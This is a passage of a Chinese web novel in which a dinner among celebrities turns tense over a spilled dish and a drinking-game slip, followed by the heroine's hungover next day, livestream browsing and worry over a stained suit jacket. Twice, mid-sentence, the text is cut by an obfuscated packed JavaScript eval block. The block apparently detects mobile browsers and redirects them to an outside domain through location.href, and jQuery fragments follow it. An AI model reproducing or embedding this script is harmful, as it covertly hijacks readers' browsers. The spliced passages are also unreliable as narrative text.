这时房间门被打开,服务员小姑娘微笑着推着一辆小车进来,上面摆满了菜品。 谷煜和李寅虎掩住话头,望着她如一阵旋风般,欢快而迅速地把车上的菜品码到桌子上。 一切都行云流水,但当她试图把一盆毛血旺摆上来的时候,出了点意外。 盛毛血旺的盆比她脸还大,汤汤水水加起来足有十几斤,小姑娘人长得瘦小,光是从小推车上把毛血旺搬起来就花了不小的力气。 当她试图把这盆毛血旺放到桌子上时,突然“啊”地惊叫一声。 可能是因为地板上有没擦干净的油渍,她脚下一滑,整个人不受控制地往右一斜。 这么一下子,她连人带盆向右边趔趄一下—— 虽然她很快找回了平衡,但装得满满当当的毛血旺还是洒出来了一点汤汤水水。 而且正好洒在坐在她右边的林见微身上。 洒在时闻刚借给林见微的浅灰色西装外套上。 19.十九 林见微:“……!!!” 时闻:“……!!!” 小姑娘惊慌失措,手无足措,捧着毛血旺一个劲鞠躬:“对不起,对不起小姐姐,对不起。” 她这么一鞠躬,挂在盆外壁的红油汤汁又溜着边洒出来几滴。 林见微这时已经缓过来一些,没有那么头晕了,她低头看了看西装外套—— 浅灰色的缎面质地讲究,柔顺如水的面料泛着奢华清冷的粼光,袖口领口都是精心的手工缝制,每一个细节都完美得无可挑剔。 然而,左袖和肩部的拼接处醒目地洒着几粒硕大的红油油渍,仿佛一张出尘脱俗的美人脸上乱长了一团媒婆痣,高贵清冷洁白优雅的天鹅一脚踩进了火锅里。 林见微:“*&@#¥!!!” 她知道时闻穿衣向来讲究,大热天的也只有他才会西装革履地跑出来和人在川菜馆聚餐。 她也知道,他的衣服价格不菲。虽然她对奢侈品没有研究,但单看他这西装面料,就知道价格肯定不会便宜。 说不定是意大利裁缝亲自□□给他量身定做的。 林见微心里苦,甚至暗骂时闻为什么要穿得这么周正。 这时谷煜站起来叫道: “没事!别慌,时闻家里有钱,不缺这一套衣服钱,千万别往心里去!” 时闻不可思议地白了他一眼:“???*&@#¥!!!” 他严重怀疑,这是对他刚刚说的“随便点,反正这顿饭是谷煜买单”的打击报复。 他清了清嗓子,刚想说“老子的衣服是私人订制的,全球就这一套,不是用钱就可以买来的”,但谷煜抢道: “你别端着那盆菜了,赶紧放下啊。” 谷煜是对服务员小姑娘说的,此刻她泪眼婆娑楚楚可怜,因为太过紧张大脑宕机,忘了自己一直捧着这盆十几斤的毛血旺。 小姑娘闻声后如梦方醒,赶忙把毛血旺放在桌上,之后不停地鞠躬致歉,口里反反复复说着“对不起”。 众人不愿为难她,谷煜:“没事,你赶紧找个拖布把地清理一下,别一会儿再滑倒。还有……你有去污棒吗?” 小姑娘一脸空白:“去污棒?” 谷煜无奈:“就是那种能抹在衣服油渍上的东西,让它保持潮湿,不然干了就不好洗了。” 小姑娘恍然大悟:“哦!我这就去给你问问。” 她一阵旋风般地跑了出去。 门关上的那一刻,时闻幽幽地低声道:“……这衣服只能干洗。抹了去污棒面料就全毁了。” 时闻说完,自斟自酌了两杯酒,希望辛辣刺激的味道抚平内心的伤痛。 谷煜:“……你tm怎么不早说??” 小姑娘出去没多久,李寅虎的电话突然响了起来。 接通后是个视频电话,对面是一个肉嘟嘟粉嫩嫩的小男孩,奶声奶气地叫了声爸爸。 李寅虎心脏瞬间融化,一哥大佬的气场完全消失,秒变慈父,眼角皱纹全部舒展开来。 “宝宝乖,爸爸马上就回去啦……”李寅虎哄起了孩子。 但是对面虎头虎脑的小男孩头摇得像拨浪鼓,嘴里不停地发出咬字不清的音节: “不妖不妖,爸爸现在灰来!” 镜头里,柔嫩白胖的胳膊向前抓来,肥嘟嘟的脸蛋整个贴了上来,好像想把镜头这边的人一把抱住。 李寅虎心化得一塌糊涂,仿佛已经闻到了儿子身上奶香的味道,恨不得现在立刻就把他从镜头那边一把抱起,搂入怀中。 又好言哄了几下,小男孩就是不依不饶,最后李寅虎只得无奈地说:“爸爸这就回去,这就回去。” 之后又传出一个温柔好听的女声,好像是孩子妈妈,撒娇般地跟李寅虎说儿子想他想到哇哇大哭,不得已只能打个视频。 面对这半真半假的说法,李寅虎嘱咐了几句,挂了电话后无奈地看着众人。 杜全周非常擅长见风使舵,见李寅虎为难,立刻说:“李总,您要是家里有事,咱们改日再约也行。” 谷煜也不好强留:“对,家里事要紧。” 李寅虎十分不好意思,他明明答应了今晚要帮谷煜诊断一把,但娇妻憨儿一个视频电话打来,他整颗心都飞了。 这时杜全周又指着一桌子丰盛饭菜说:“要不您吃两口再走?” 李寅虎忙点头,抓起筷子胡乱夹了几口,用餐巾纸快速擦了嘴,又赔罪喝了一杯酒:“对不起诸位,今晚我得先走一步,咱们改日再约。” 然后他郑重看着谷煜:“放心,你的事我会帮忙解决,咱们电话聊,你微信多少?加一下。” 谷煜忙拿出手机,调出微信账号二维码,李寅虎扫描之后发送了好友申请,之后便匆匆起身告辞。 李寅虎离开之后,气氛反而变得轻松自在了一些。李寅虎是业内大佬,气场太足,众人比较拘束,他一走,大家反而放得开了。 杜全周大手一挥:“大家快趁热吃菜,一会儿就凉了。” 大家纷纷应声拿起筷子,谷煜看了一圈桌上饭菜,抬头问道:“红糖糍粑怎么没上?” 杜全周:“那是甜品,最后才上。” 谷煜不依不饶:“那大劈叉姑娘吃什么?” 林见微没想到他还挺挂念自己,慌忙道:“没事没事,我可以吃辣的。” 说着,她像是要证明什么,捻起筷子,小心翼翼地伸向面前那盆热气腾腾散发着红油香气的毛血旺里。 在众人目光聚焦中,筷子伸向了那香气四溢的食盆上方。 底下是堆着如小山一般的鲜切牛肉、鸭血、午餐肉、毛肚、各类丸子,滋滋冒着令人直流口水的油光。 筷子尖在不断蒸腾而起的热气中停顿三秒,然后从小山一样满满一锅菜品里,夹起一根瘦得不能再瘦的豆芽菜。 众人:“……” 林见微将豆芽菜在空中甩了甩,几滴红油汁水落回盆中,然后敏捷抽手,以迅雷不及掩耳之势把豆芽菜伸入茶杯中,迅速涮了一涮,嗷呜送入口中。 众人:“…………??” 杜全周瞪大眼睛,愣了半晌问道:“嫂子你这是为了减肥,还是不能吃辣?” 林见微耐心咀嚼着豆芽菜,微笑道:“身材管理。” 杜全周啧啧赞道:“不容易,你们这些幕前工作者,实在过得不是人过的日子。” 其实大劈叉本人并不忌口,毕竟上直播的时候可以开滤镜,如果一段时间不小心吃多了,那把滤镜开大点就好了。 但林见微对饮食非常注重,所有重油重盐的菜都要在茶水里涮一下才可以入口。 陈怀顾盯着她,好像想起了什么,脸色不是很好看:“亲爱的,你多吃点,我不会嫌弃你胖的。” 林见微听了差点把吃掉的豆芽菜吐出来:老娘做身材管理又不是为了你,臭男人怎么这么自作多情! 但她表面上还是维持着礼貌温和的微笑:“我自己嫌弃。” 此时此刻众人确实饿了,饭桌上安静了一阵,只听见碗筷碰撞和桌子转动的声响。 吃得最多的是杜全周、谷煜、倪瓒,三人狼吞虎咽,毕竟饿了很久。 时闻和陈怀顾比较有偶像包袱,吃了一会儿就停筷了。 陈怀顾还吃了些麻辣兔头、毛血旺这种重口味的东西,相比之下时闻就养生多了,只挑了些轻盐轻油的素菜吃了。 谷煜闷头吃了一会儿,突然发觉时闻很久没动,于是抬头好奇问道:“怎么,没胃口?” 时闻淡淡道:“吃饱了。” 谷煜愕然:“你要升仙啊,吃这么少。” 时闻:“过几天就飞升上神了,到时候我给你封个仙童。” 谷煜嫌弃之情溢于言表,白眼都要翻到天上去了。 但这时他往前看时,突然发现另一个要修仙的人,大劈叉,正逮着时闻一开始点的两盘素菜专攻。 白灼菜心一段一段地小口咬入,蟹黄豆腐一勺一勺地消失。 谷煜突然明白了什么。 这时,杜全周见大家很久没说话,吃得也差不多了,便提议道: “咱们闲着也是闲着,不如玩点游戏开心一下?” 倪瓒第一个表示赞同:“好啊,玩什么?” 倪瓒和众人不熟,再加上李寅虎实在咖位太高气场太强,倪瓒是第一次见他,难免有些气短怯场。 现在李寅虎走了,他终于可以放开自如,脸上也恢复了惯常的客气而谄媚的微笑。 杜全周:“咱们玩火车往哪而开的游戏吧,大家都会吗?” 大多数人都点头,只有时闻一脸懵:“什么游戏?” 谷煜嫌弃地白了他一眼:果然是山顶洞人,普及率这么高的游戏都没玩过。 嫌弃归嫌弃,他还是耐心解释了起来:“这个游戏是这么玩的,我们每个人都选择一个城市代表自己,比如我是京南,你是郁宁,老杜是东阳。” “如果这轮是我从开始,我就可以说,开呀开呀开火车,京南的火车就要开了。” “你们就会问我:火车往哪里开?” “这时我就要指定一个地方,比如,我说火车往郁宁开,这时你就要开始说,开呀开呀开火车,郁宁的火车就要开了。” “如果你没反应过来没接上,那你就输了罚酒。” “或者你没报上下一个地名,报错了或者报了一个场上不存在的地名,就要罚酒。” “明白了?” 时闻恍然大悟地点头:“OK,我明白了。” 时闻的领悟能力和反应速度都很快,所以众人也没再多解释,直接开局。 众人先定了城市,谷郁、时闻和杜全周就按照刚刚的例子,分别代表京南,郁宁,东阳。 陈怀顾代表沪上,林见微代表江东,倪瓒代表西羽。 游戏从谷煜开始:“开呀开呀开火车,京南的火车就要开了。” 众人:“火车往哪里开?” 谷煜:“火车往西羽开。” 倪瓒立刻接上:“开呀开呀开火车,京南的火车就要开了。” 众人:“火车往哪里开?” 倪瓒:“火车往郁宁开。” 郁宁是时闻,他很快接上,但报下一个地名的时候,他说:“火车往冬江开。” 众人:“……冬江是哪里??” 谷煜猛捶他一下,爆发出的笑声中带着毫不掩饰的嘲讽:“冬江??你脑子瓦特了吧,我们在座的哪里有冬江??” 这时,笑声突然凝滞在空中,谷煜表情僵住,因为他看到陈怀顾的脸色异常阴沉。 他突然意识到:林见微代表江东。 江东,冬江,确实挺像的,两个地方离得也不远,当地人也很容易把两个地方叫混。 时闻很可能是口误了,他本想说火车开到江东的。 想到刚刚时闻巧合之下点了林见微爱吃的红糖糍粑,贴心地把外套借给林见微,又正好点了两份合林见微口味的素菜…… 难怪陈·敏感多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435696|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑·小肚鸡肠·怀顾脸色不对呢。 这无异于在陈怀顾的底线上来回蹦迪,为二人之间的天堑隔阂又添了一块砖,加了一片瓦。 意识到不对的谷煜慌忙收敛了笑容,赶紧往回找补:“时闻,你输了,赶紧喝酒认罚!” 边说边给时闻倒了杯酒,慌乱间还倒洒出来一点。 时闻话一出口,就意识到自己输了,不由得有些懊恼。 他在朋友圈里向来以高智商著称,新游戏一学就会,玩起来从没输过。 哪怕喝多了酒,也不会影响他的发挥。 今天不知哪根筋搭错了,竟然一上来就输了。 陈怀顾盯着时闻,犀利的眼神如刀片一样。 过了好一会儿他才缓缓地吐道:“你把话说清楚,火车开往哪里?” 室内一片死寂,杜全周和谷煜大气儿都不敢喘一下。 他们也终于意识到了什么,其实无论是江东还是冬江,都是敏感而特殊的存在。 江东,是大劈叉,陈怀顾的现女友,在这局游戏里代表的地方。 而冬江,是一座给了时闻太多回忆,以至于让他有时并不愿回想起的地方。 正因为封存在记忆最深处,所以才容易在几杯酒下肚之后脱口而出。 时闻看向陈怀顾的目光变得锐利无比——他极少以这种目光看人,平日里他总是恭谦温和,淡然疏离,说话做事很少带情绪。 但此时此刻,时闻的目光蓄满了浓烈如火焰一样的情感,愤恨、厌恶、轻鄙从眼底翻腾而出。 他是那样的毫不掩饰地看着陈怀顾,仿佛一直以来的疏离和冷漠都是某种伪装。 “是冬江,”时闻一字一顿地吐道,嗓音低哑,“怎么,你有意见吗。” 谷煜从没见过他这样,不由得暗暗叫苦:刚刚不应该那样直白地嘲讽他的。 但这人心理怎么这么脆弱啊,随便说两句就炸毛了。 杜全周看气氛不对,立刻开始试图和稀泥:“别上火,两位别上火,就玩个游戏而已,别这么较真。” 说着,他给自己倒了杯酒,还轻轻扇了自己两巴掌:“都怪我不好,提的什么破游戏!不玩了,我自罚一杯。” 谷煜也在一旁劝道:“咱们玩点别的吧,玩……玩那个动物园里有什么吧,我先开始……” 但为时已晚,陈怀顾已经被时闻的话深深刺到,没等谷煜把话说完,他已经砰地一声拍桌而起。 陈怀顾眼球几乎要从发红的眼眶里蹦出,声音嘶哑地一字一顿道:“把话说清楚就行。” “不是自己的,就不要惦记,过去如此,现在也是如此。” 时闻目光锋利如刀,直直刺向对面,嘴角抿成一条直而深的线。 二人一立一坐,目光在空中相撞,迸出的火花四下飞溅。 谷煜和杜全周叫苦不迭,这两个人轴起来都是牛脾气,现在叫上劲了,要是不劝住,后果不堪设想。 谷煜一面摁住时闻胳膊,生怕他也怒极之下拍案而起,一面冲陈怀顾叫道:“好了好了,不就是个口误吗,大老爷们至于这么较真吗?” 杜全周一边起身一边冲倪瓒使眼色,后者会意站起,二人一人拉住陈怀顾一条胳膊,硬是把他摁回座位。 “老陈,不至于不至于,为了一个小游戏小口误,伤了兄弟和气同学情谊,这不值得。” “小倪,快给陈大明星倒杯水,老陈,不是我说你,你是大明星,公众人物,平日里是要给我们这些小老百姓做表率的,怎么这么沉不住气。” “还有你,老时,你也是公众人物,怎么跟老陈一样,小孩子牛脾气,非要较个真,何必呢。” 他一面劝,倪瓒一面配合地把茶水递到陈怀顾口边。 林见微在一旁看着一切,一句话也没敢说,生怕哪里没说对,就点了火药桶。 这时谷煜为了平息事端,干脆爆了个猛料:“我实话跟你们说了吧,时闻刚刚说的其实是真心话!” 杜全周、陈怀顾、倪瓒、林见微纷纷惊讶地看向他,在众人焦灼的目光里,谷煜平静地说: “时闻喜欢的女孩子是冬江人,所以他刚刚才酒后吐真言,说火车往冬江开。” 谷煜说完,整个房间陷入一片沉寂。 杜全周和倪瓒你看看我,我看看你,都试图从对方眼里试探出更多的信息。 时闻喜欢的女孩子? 时闻有喜欢的女孩子?? 时闻喜欢的……是女孩子??? 这么多年他一直单身,从未听说过他和任何女性有什么关系,以至于许多人都在私下猜测:这小子不会是深柜吧。 毕竟,他多金帅气,又有名气,身边有大把的莺莺燕燕主动示好。 可是时闻从来未表露过对女人有一丝一毫的兴趣。 朋友聚会,他永远是第一个告辞的,常常是酒喝到一半,周围女性开始主动释放暧昧信号的时候,他就刷地起身,也不管扫不扫兴礼不礼貌,随便打个招呼就走掉了。 所以,许多朋友都合理地怀疑,这小子多半不喜欢女人。 所以谷煜这么一爆料,杜全周和倪瓒都震惊到沉默。 刚刚时闻一直明里暗里地照顾林见微,他们还在暗想:果然不是直男,心思如此细腻。 现在想来,他们以为的,并不是他们以为的。 其实此时此刻,陈怀顾的心理活动也是如此:他以为的,并不是他以为的。 林见微和大劈叉都是京南人,不是冬江人。 20.二十 第二天。 林见微醒来的时候抓起床头柜上的手机,上面显示早上10点20分。 她起身拿手机的时候,脑袋钝钝的,内里几根神经传来一阵尖锐的疼。 她想起来昨晚她喝了一些酒,结果大劈叉的身子骨有些柔弱,她回来之后就吐了。 抱着马桶吐了半天,拖着身子爬出去喝了点水,又起来吐了一轮,然后才爬到床上昏昏沉沉睡去。 林见微揉了揉太阳穴,皱着眉打着哈欠,打开手机锁屏。 好巧不巧,刚打开手机,麦乐鸡的一条微信消息就弹了进来。 [今天下午四点半,我家开party,还是那些人,不见不散。] 林见微一下子清醒了许多,她差点忘了和麦乐鸡约好了今天见面。 她承诺会当着众人的面给麦乐鸡郑重道歉。 她点开微信,在页面最上方找到刚刚那条消息,迅速回了个:[收到] 昨晚的记忆一点一点爬进脑海,那些杂乱的喧闹、爆辣的川菜、还有喝酒游戏…… 她的神经又刺痛了起来。 在床上刷了会儿手机,她爬起来洗了个脸,又胡乱吃了点之前剩下的半个三明治。 三明治是昨天早上买的,包装撕开之后又一直放在桌子上,所以现在面包有些干巴了,吃得她一阵噎得慌。 灌了几口水,她又回到床上,把两个枕头叠起来,头枕在上面,又开始刷手机。 她看了一会儿香蕉直播,后台里又冒出许多私信,无一例外都在问她什么时候更新高翔的事。 读了几条,林见微长长叹了一口气。 她本打算昨天晚上上线直播一会儿,但无奈被陈怀顾叫出去陪他参加高中同学聚会。 参加就参加吧,还冒出几个她完全没想到会出现在那里的人。 回想起昨晚的种种,她又叹了好几口气:她是来搞事业的,不想掺和到这些七七八八的事情里。 无奈陈怀顾这个人,身边总是有这些莫名其妙的事。 又磨了一会儿,刚刚吃下去的半个三明治消化了一些,她头没那么疼了,身子也有了力气。 既然脑子清醒了一些,林见微决定和陈怀顾联系一下。 她调出微信,发了条消息:[宝贝,在吗?] 过了十几分钟,陈怀顾回道:[在医院,怎么了?] 林见微:[宝宝想你了……昨晚谢谢你送我回来,我……我没吐你车上吧?] 昨晚的记忆有些模糊,她依稀记得坐上车后,大脑就变得混沌无比,整个人也睡了过去。 不知过了多久,她的身子开始左右摇晃,一股恶心的感觉从胃里涌起,她“嗷”的一声差点吐出来。 见她要吐出来,陈怀顾火速向后退了三步。 林见微干呕了一阵,手扶着车门,只觉天旋地转,头晕得要命。 胃里如火烧一样,她下意识地叫了出来:“我好难受……” 陈怀顾还在三步远之外,观察了她好一阵,看她没有要吐的意思,才慢慢靠近,试探地握住她的胳膊。 “能走吗?”陈怀顾问道。 林见微半天才反应过来,原来车子已经停在她住的酒店楼下了。 她挣扎着试图站起,又是一阵眩晕,胃里掀起一股烧心的感觉。 她慌忙扶住车座靠背,缓了一缓,这个功夫,陈怀顾虽然还手握着她的胳膊,但身子已经往后退了一大截,和她拉开距离。 “不好意思……”林见微扶着胸口,半咳半喘。 又缓了一会儿,她心一横,手撑在车座靠背上,猛地一使力,身子从副驾驶座上站了起来,走出车门。 陈怀顾握着她的那只手向前使劲,试图将她向前拉扯。 林见微有点失去重心,连忙摆手,扶着膝盖弯下腰,又喘了一会儿。 最后,她在陈怀顾的“搀扶”下,一步一挪艰难地走回了房间。 刚进房间,一股寒气扑了过来——酒店的中央空调风力猛,温度低,林见微离开的这几个小时,房间温度降到了二十度出头的样子。 还没来得及开灯,就听陈怀顾说:“那你早点歇着吧,我先回去了。” 林见微刚想回一句“好,路上注意安全”,但话没来得及出口,砰的一声,房门关上,陈怀顾已经走了。 室内一片漆黑,空调冷气直往身上蹿。 夜晚十分寂静,出风口的风声和远处街道上的喧闹都听得异常清楚。 过了许久,房间里一声轻叹。 林见微踢掉鞋子,也没开灯,眼睛已经基本适应了黑暗,她往床边走去,路过书桌的时候把包甩在了上面。 刚沾上床,她就无可自拔地陷进了柔软的天鹅绒被里,她的头深深地埋进去,半晌,一阵低声啜泣传了出来。 其实她也不知道她在哭什么,也许是体内的酒精让她变得敏感了许多,往日的事情一桩桩一件件都清晰浮现在眼前。 她想起了还没成名时那段异常艰难的日子,想起了刚刚成名时没日没夜三班倒拍戏的日子,想起了功成名就之后乌央乌央的掌声和骂声。 她还想起了那一次次充满不堪的酒局,想起了往日里陈怀顾无微不至的照顾,想起了他刚刚的退避三尺和冷漠决绝。 她突然觉得自己好惨。 泪水从眼眶里啪嗒啪嗒掉落,坠进了柔软的天鹅绒被里,林见微抽抽搭搭地,下意识地用袖子擦了擦眼泪。 这么一擦,她突然觉得不对。 柔软的面料拂过脸颊,将泪珠尽数擦去,一股淡淡的令人沉静的松竹味扑鼻而来,带着点沉水香。 林见微一愣,低头时才察觉到,自己还穿着时闻那件浅灰色西装外套。 [没吐我车上,万幸。你酒量不好,怎么不知道收敛着点?] 陈怀顾过了几分钟才发来消息,林见微盯着屏幕,愣了半晌后回道:[下次不会这样了。] 陈怀顾没再说什么,林见微便继续发道:[今天下午有空吗?陪我去个聚会好吗] 过了好半晌,陈怀顾才懒懒回过来一个字:[累] 林见微暗骂一句,但还是逼着自己耐着性子回道:[陪我去吧,昨天不是说好了吗?] [我陪你去参加朋友聚会,你陪我去参加今天的趴体] [再说了,昨天晚上……不是没来得及那啥吗] 这次陈怀顾秒回:[什么趴体?] 林见微:[下午四点,麦乐鸡家,还是那群人,你都见过] 过了一会儿陈怀顾说:[不是刚聚过吗,怎么又聚?] 林见微:[联络一下感情嘛,那三点半的时候你来接我?] 陈怀顾:[好] 发完消息,林见微看了看表:上午11点58分。 她算了算时间,还够她点个外卖吃点东西,于是她随便找了个外卖软件,浏览半天,给自己点了份猪骨汤面。 暖暖和和地吃下去,胃里应该就舒服多了。 外卖到之前,她又刷了刷直播平台,准备看看其他主播的内容。 这是她给自己定的一项任务:每天用小号看头部主播和人气主播的直播内容,研究一下他们为什么能火,看看有没有可以借鉴的地方。 刚刚登陆香蕉直播,屏幕上立刻炸出一个绚烂大烟花。 噼里啪啦一通炸,紧接着一行五颜六色的字欢欢喜喜地跑了出来:群蕉荟萃大会将于7月10 - 11日隆重举行! 群蕉荟萃是香蕉平台今年推出的特别盛会,旨在于邀请众多主播和粉丝到场,打破屏幕壁垒,为粉丝和全平台的观众提供一场别开生面的见面会。 届时,平台上的头部主播将倾情奉献精妙绝伦的表演,报名去现场的粉丝可以和爱播们进行亲密互动。 各大主播们也可以借此机会交流一番,切磋一下经验教训。 这个广告已经打了近两个月了,现在临近举办时间,平台干脆设置了默认的开屏特效,为即将到来的盛会大做特做广告宣传。 然而林见微虽然最近几次直播水花不小,但放眼整个平台来看,还是个微不足道的小主播。 所以她并没有受到群蕉荟萃的邀请。 没事,正好她挺累的,歇一歇挺好。 外卖很快就到了,她把外卖取回来,叼着筷子哗啦撕开袋子,掀开盖子的一瞬间,猪骨汤暖融融的鲜汤味道飘香四溢。 她的肚子应景地叫了一声。 呼噜呼噜吸下去几根白胖面条,又大口喝了几口号称熬制了24小时的猪骨汤,林见微整个人终于从宿醉中活过来了。 她一边吃饭一边开始刷香蕉直播。 她前几天偶尔刷到了一个跳舞+聊天的小哥哥,这个时段小哥哥已经上榜,所以她很自然地点了进去。 直播平台上,帅气可爱的小哥哥经常如雨后春笋一样,一茬一茬地冒出,令人目不暇接,看了前面忘了后面。 但这个小哥哥,ID叫林波微步,还挺与众不同的。 他一头茂盛卷发,奶萌奶萌的眼睛扑闪着天真好奇的目光,一副奶狗气质。 但他一旦开始跳舞,立刻像换了一个人似的,动作力量感十足,眼神也变得凌厉起来,配上若隐若现的肌肉,活脱脱一只小狼狗。 停下来和观众互动的时候,他又一秒变成了那副人畜无害的样子,十分招人怜爱。 这种极致的反差感让人欲罢不能,开播两个月就吸引了上万粉。 最要命的是林波微步小哥哥还很努力,每天中午12点准时直播,风雨无阻,而且一播就是6小时。 他跳舞的密度很大,经常是休息几分钟就立刻开始跳下一支舞,舞蹈的种类也很丰富,一天播下来除了几支特别受欢迎的舞,其他的几乎不带重样的。 很多粉丝都心疼他,纷纷留言说:小哥哥一直这么跳,不累吗? 还有人不停地刷礼物,只为了让爱播休息一下:这些礼物统统拿走,今天的米赚够了吧?赚够了就歇一歇吧。 林见微最近每天中午都靠他的直播视频下饭。 这次,外卖到的时候,林波微步的直播刚开始没多久,林见微拆开袋子打开饭盒掰开筷子,把手机架在前面,津津有味地边吃边看起来。 小哥哥的开场就十分炸裂,一首《武娘》跳了两三遍,直播间的人数蹭蹭上涨。 《武娘》是近几个月火遍各大直播间的舞蹈,因为它兼具了男性的力量感和女性的柔美感,所以演绎自由度极高。 男生跳的时候可以表现极强的爆发感和力量感,女主播跳的时候又可以展示纤柳的身段和柔美的舞姿。 所以最近几个月,大大小小的主播都在跳这支舞,大多数都没什么特色,但有几个主播把这支舞蹈演绎出了自己的风格。 林波微步把这支舞跳得极具视觉冲击力, 林见微啧啧感叹着,心想这一看就是专业的舞者,虽然不是童子功,但是下了苦功夫的,动作是一个一个磨出来的,所有的举手投足都做到位了,没有任何一个动作是水过去的。 而且他的舞蹈风格自成一体,十分有辨识度。 能在直播间每天都做到这么极致敬业的,目前整个平台也就林波微步这个主播了。 刚刚开播十几分钟,直播间的观看人数就达到了四百多人,弹幕一条接一条地蹦出来: [哥哥好帅!] [今天的波波还是一如既往地帅气,对他的喜爱又增加了一点点呢] [开场的武娘太炸裂了,太短了根本看不够,再跳十遍!] [你们看到最后收尾那个眼神了吗,天呐直接勾走了我的心] 林见微小口小口喝着猪骨汤,默默敲下评论:[帅!] 她用筷子挑起一根宽白面条,又用勺子瓦了点汤,连面带汤吃了下去,然后又在屏幕上划了几下。 下一秒,整个屏幕都溢满了从下而上飘起的粉红色泡泡,一颗硕大的红色爱心在屏幕中央砰砰直跳。 劈大叉送出“我的爱泡围你”! 特效足足持续了5秒钟,粉红色泡泡和红色爱心消散之后,评论区一连串的惊叹: [谢谢劈大叉对我家哥哥的支持!] [劈大叉有什么想看的舞吗,随便点,我家哥哥什么都会] [劈大叉要不要考虑加入我们粉丝团啊?] [来吧来吧,步步粉丝团为你敞开,虚位以待!] 林见微笑了笑,夹起一根面条快速吸入口中,然后迅速切出了屏幕,深藏功与名。 她刚刚送出的礼物,“我的爱泡围你”,虽然不是价值最高的,但算是平常能见到的比较贵重的礼物了,价值五千香蕉币,约等于五百米。 之前穿皮裤的老烟枪送给她的“心跳似火箭”,也不过2999香蕉币。 一般来说,送礼物的大多是已经加入粉丝团的老粉铁粉们,这些人为了爱播可以一掷千金。 但像她这种,纯路人闷声不响地送出一份大礼,实属罕见。 林见微这几天挣到了一些钱,陈怀顾的分手费,还有前两天因为流量带来的一些直播收入,都让她手头现金流暂时充裕了许多。 至于高利贷,因为齐飞虎已经被抓进去了,小孙警官和祁大年连夜突审了齐飞虎,把他的上下游调查得清清楚楚。 第二天,祁大年就带人速战速决,直接去抓捕了齐飞虎供出来的大哥小弟。 有几个耳目灵活,听到了风声后立马脚底抹油跑掉了,大部分的都人赃俱获,现在关了进去,预计未来几年都要和齐飞虎一起踩缝纫机了。 再加上祁大年的普法,林见微其实根本没必要还那么多高利贷,连本带息她只需付13.6万。 陈怀顾之前给了四百万的分手费,所以账面上看,她还挺富有的。 所以给小哥哥刷个五百块的礼物,不算什么事。 切出去后,她又随意看了看人气榜上的其他主播,有一些和她的方向完全不同,比如游戏主播,她抢个红包就走了。 那些和她方向接近的,比如聊天主播、唱歌跳舞主播,还有团播,她都多停留了一会儿,默默观察主播是如何和弹幕交流的。 吃着饭看着直播,一个小时很快就过去了,她端起碗把最后一口汤喝进肚中,心满意足地把勺子丢进空碗里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440247|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把饭盒盖子小心扣好拧紧,把碗筷饭盒收进塑料袋中,看了一眼时间: 现在是下午一点多,她还可以再休息一阵。 她想了想,还是拎起外卖袋子朝门外走去——她不太喜欢把厨余垃圾留在家里太久,以前自己住的时候,哪怕垃圾袋没有满,她也每天都至少倒一次垃圾。 把垃圾丢进了电梯间旁边的垃圾桶里,她开门回来时,朝一旁的衣橱看了一眼。 好像被什么东西吸引住了似的,她缓缓拉开衣橱的门。 一股淡雅的松竹清香幽幽传来,她突然愣在原地。 时闻的那间浅灰色西装工工整整地挂在她的衣橱,一旁是她花花绿绿的连衣裙、针织衫和T恤。 她愣了好半晌,才蓦然想起昨天晚上的事。 昨天后半夜,她迷迷糊糊醒来,喉咙里一片着火似的干燥。 她忍着头疼爬起来,皱眉喝了几口冷水——室内空调太足,常温的矿泉水愣是变成了冰水。 她强忍着喝了几口,但冰凉的水进肚后她一阵发颤,想了想还是拿起热水壶,把矿泉水倒进去,按下加热键。 等水烧开的时候,一阵凉风嗖嗖吹来,她不由得打了个寒战,裹紧了外套。 这时,她突然意识到,她还穿着时闻的西装外套。 她暗叫一声,赶忙把外套脱下,小心翼翼地挂进衣橱。 借着衣橱里幽暗的光,她看了看之前染上的油渍——虽然灯光幽暗,但那些红油油渍还是那么明显。 不仅如此,袖口处还残留着水渍——那是她之前涕泗横流的时候,不小心把他的外套当抹布用了。 林见微:!!!啊啊啊!!! 热水壶逐渐传出咕咚咕咚的响声,水蒸气冒了出来,然后“嘀”的一声响。 林见微哀叹一声关上衣橱,心想:算了,明天再苦恼吧。 她啜着喝了点热水,然后胡乱倒头睡了。 现在,林见微望着衣橱里那件浅灰色外套,内心十分复杂。 染上的油渍和水渍都变浅了一些——但这实在不是什么好兆头。 这只能说明,这些污渍更难洗了。 如果林见微昨晚没有喝醉到那个德行,她回来之后的第一件事,一定是先把西装外套泡进水里。 但其实……时闻好像说过,这外套不能水洗,只能干洗?? 林见微愁眉苦脸地看着面前这件泛着高贵银光的衣服,敲了敲自己的脑袋。 突然之间她灵光一闪,脑子里出现了一个天才的主意。 她迅速把西装外套从衣架上扒拉下来,翻出后脖颈处的标签。 如果她知道这件衣服的牌子和尺码,照原样再给他买一件,不就解决了眼前西装的问题? 啧啧,我真是平平无奇小天才。 然而当林见微把衣服内里翻出来的时候,她在心里骂了一句。 这件衣服尼玛没有标签。 林见微:…… 这时她才想起来,谷煜好像说过,时闻的西装都是找什么意大利裁缝私人定制的。 好气哦,有钱也没法解决问题。 找谁说理去。 唉声叹气了一会儿,她突然想起,之前她在微信上给时闻发过好友申请。 